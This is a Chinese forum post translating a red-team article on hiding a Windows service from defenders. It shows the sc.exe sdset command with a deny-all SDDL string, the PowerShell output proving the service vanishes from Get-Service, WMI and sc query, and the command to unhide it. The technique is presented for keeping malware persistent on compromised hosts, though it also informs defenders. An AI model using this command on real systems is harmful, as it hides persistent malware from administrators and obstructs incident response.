首页
社区
课程
招聘
[翻译]红队战术:隐藏Windows服务(大意)
2020-10-29 00:30 10539

[翻译]红队战术:隐藏Windows服务(大意)

2020-10-29 00:30
10539

声明:本文及其软件仅用于学习交流,请勿用于商业用途和违法行为,使用产生的后果由使用者承担,本作者不承担任何法律责任和风险。

如需转载请注明一下出处,谢谢~。

原文:https://www.sans.org/blog/red-team-tactics-hiding-windows-services/

 

Windows有一个鲜为人知的功能,允许红队或攻击者隐藏服务,以避开基于主机的常规威胁检测技术的检测。

 

在最近一次和红队的交锋中,我的队伍遇到了一些训练有素、经验丰富的后卫。我们开发了专门的恶意软件来逃避EDR平台,但我们知道主机分析人员最终会把我们抓住,并迅速把我们从目标组织中踢出。

1
2
3
4
5
PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine
 
Status   Name               DisplayName
------   ----               -----------
Running  SWCUEngine         SWCUEngine

通过对几个高级威胁组织的记录,我们将使用具有迷惑性的通用服务名称,以便在感染系统的同时保持持久性。在这里,SWCUEngine是我们的恶意软件的服务名,肤浅地假装成AVAST软件的清理引擎所用的服务名。虽然这可能会逃避简单的检查,但在实战中,防守方会积极寻找红队的存在,这有可能会让我们暴露。

 

所以,我们决定增加一点检测难度。

1
2
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
[SC] SetServiceObjectSecurity SUCCESS
1
2
3
4
5
6
7
PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine
Get-Service : Cannot find any service with service name 'SWCUEngine'.
At line:1 char:1
+ Get-Service -Name SWCUEngine
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (SWCUEngine:String) [Get-Service], ServiceCommandException
    + FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand

Windows服务支持使用Service Descriptor Definition Language(SDDL)修改服务的权限。作为管理员,我们通常不必手动更改服务权限的SDDL语法,但是,攻击者仍可以通过谨慎的操作让指定的服务隐藏。在本例中,冒名顶替的SWCUEngine服务对蓝队的防御者而言,几乎是不可见的。

 

SDDL语法有点难以理解,我们可以分解为以下元素:

1
D: - 设置服务上的自由访问控制列表(DACL)权限
1
2
3
4
5
6
(D;;DCLCWPDTSD;;;IU) - 拒绝交互式用户的以下权限:
  DC - Delete Child
  LC - List Children
  WP - Write Property
  DT - Delete Tree
  SD - Service Delete

服务(SU)和管理员(BA)也会重复这个SDDL语句块。

1
2
(D;;DCLCWPDTSD;;;SU) - 拒绝服务的同上权限
(D;;DCLCWPDTSD;;;BA) - 拒绝管理员的同上权限

随后,A(允许)权限,继承服务的默认权限。

 

特别感谢Wayne Martin和Harry Johnston撰写的关于解码SDDL修改权限的文章。(随后笔者将翻译这两篇文章)

 

通过对服务进行这种更改,防御者就看不到该驻留方式了。无论是service.exe、Get-Service、sc query 以及我所知道的任何其他服务控制工具,都不能显示该服务项。

1
2
3
4
PS C:\WINDOWS\system32> Get-Service | Select-Object Name | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> Get-WmiObject Win32_Service | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe query | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32

如果防御者事先知道服务的名称,他们可以通过指定服务名来尝试停止服务,以此来识别服务的存在。在本例中,服务JoshNoSuchService不存在,而SWCUEngine存在并隐藏:

1
2
3
4
5
6
7
PS C:\WINDOWS\system32> Set-Service -Name JoshNoSuchService -Status Stopped
Set-Service : Service JoshNoSuchService was not found on computer '.'.
At line:1 char:1
+ Set-Service -Name JoshNoSuchService -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (.:String) [Set-Service], InvalidOperationException
    + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.SetServiceCommand
1
2
3
4
5
6
7
8
PS C:\WINDOWS\system32> Set-Service -Name SWCUEngine -Status Stopped
Set-Service : Service 'SWCUEngine (SWCUEngine)' cannot be configured due to the following error: Access is denied
At line:1 char:1
+ Set-Service -Name SWCUEngine -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (System.ServiceProcess.ServiceController:ServiceController) [Set-Service],
   ServiceCommandException
    + FullyQualifiedErrorId : CouldNotSetService,Microsoft.PowerShell.Commands.SetServiceCommand

当然,你也只能通过服务名来解除隐藏该服务。

1
2
3
4
5
6
7
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
[SC] SetServiceObjectSecurity SUCCESS
PS C:\WINDOWS\system32> Get-Service -Name 'SWCUEngine'
 
Status   Name               DisplayName
------   ----               -----------
Running  SWCUEngine         SWCUEngine

对红队而言,这可能是一种有用的技术,既可以在被害主机上保持持久性,又可以隐藏服务。


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2020-10-29 00:31 被yyyang编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回